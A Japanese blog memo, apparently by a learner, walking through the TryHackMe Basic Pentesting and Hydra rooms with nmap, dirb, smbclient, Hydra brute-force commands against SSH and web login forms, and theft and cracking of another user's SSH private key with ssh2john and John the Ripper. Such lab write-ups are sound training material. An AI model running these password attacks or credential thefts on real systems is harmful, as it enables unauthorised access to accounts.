
【TryHackMe備忘録】Basic Pentesting & Hydra
「7日間でハッキングをはじめる本」2日目、TryHackMeのBasic Pentestingを進めてみたので、流れを以下にメモっておきます。
基本的にはkaliに入っているツールを使用して進めていきます。
# ポートスキャン
$ nmap -sV -Pn -oN [nmap.txt] [TryHackMeのターゲットIP]
# 中身確認
$ cat [nmap.txt]
# ターゲットサイトのディレクトリとファイルを探索
$ dirb http://[TryHackMeのターゲットIP] /usr/share/dirb/wordlists/small.txt
# 辞書ファイルの中身確認できる
$ less /usr/share/dirb/wordlists/small.txt
# 共有フォルダを確認する
$ smbclient -L [TryHackMeのターゲットIP]
# Anonymous共有に接続する
$ smbclient \\\\[TryHackMeのターゲットIP]\\Anonymous
# ユーザーが誰かを特定
$ num4linux -a [TryHackMeのターゲットIP]
# 圧縮されたファイルを展開する
$ sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
# RockYou辞書の中身を確認できる
# 簡単なパスワードはこういうのでまとまっているので見つかりやすい
$ less /usr/share/wordlists/rockyou.txt
# hydraを使ってjanに辞書攻撃
# パスワードクラックは犯罪です、TryHackMe以外で実際に攻撃・試行することはやめてください。
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://[TryHackMeのターゲットIP]
# ssh接続

秘密鍵からのパスワード解析
ここからが参考サイトを読んでも難しくて、3時間ほどかかってしまっていました。
パスワードクラック後、lsで中を見ていくと、ユーザーのうち、もう一人が秘密鍵を読み取り権限その他にもつけていて閲覧できます。
ただし、接続するにはパスワードが不明な状況です。
# 秘密鍵「/home/kay/.ssh/id_rsa」
# ローカルであるkali側に、秘密鍵を落としてきます。
$ scp [hydraで特定したユーザー]@[TryHackMeのターゲットIP]:[秘密鍵の場所] [ローカルの落としてきたい場所]
# 今の状態だとjohnが読めないのでSSH2Johnを利用して秘密鍵からハッシュを抽出します
$ /usr/share/john/ssh2john.py id_rsa > hash.txt
# John the Ripperでパスワードを特定してみます
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=SSH hash.txt
# パスワードは、上記John the Ripperで取得したパスワードで、ssh接続
$ ssh -i /home/kay/.ssh/id_rsa [秘密鍵を持っているユーザー]@[TryHackMeのターゲットIP]
# あとは、lsとcatで見たいものを見る
以上、なんとかコース達成できました。
Hydra
あわせてhydraも受けましたので詳細置いておきます。
ウェブフォームからのパスワードクラック
# リクエストタイプが何か、ソースコードを見れる
$ sudo hydra <username> <wordlist> [ターゲットIP] http-post-form "[ログインページのURL]:[ログイン用ユーザー・パスワード]:[ログインに失敗したときのレスポンス]"
# オプション
-l ユーザー名
-P 使用するパスワードリスト
http-post-form POSTメソッド
-V 詳細出力
# 1問目に使ったリクエスト
$ hydra -l [ユーザー名] -P [wordlist] [ターゲットIP] http-post-form "/login:username=^USER^&password=^PASS^:Your username or password is incorrect." -V
SSHに対するパスワードクラック
# 以下sshをftpに変更するとftpのパスワードクラックもできます。
$ hydra -l [ユーザー名] -P [wordlist] [ターゲットIP] -t 4 ssh
# オプション
-l ログイン用SSHユーザー使用
-P パスワードのリスト
-t 生成するスレッドの数
# 2問目に使ったリクエスト
$ hydra -l [ユーザー名] -P [wordlist] [ターゲットIP] ssh
いいなと思ったら応援しよう!
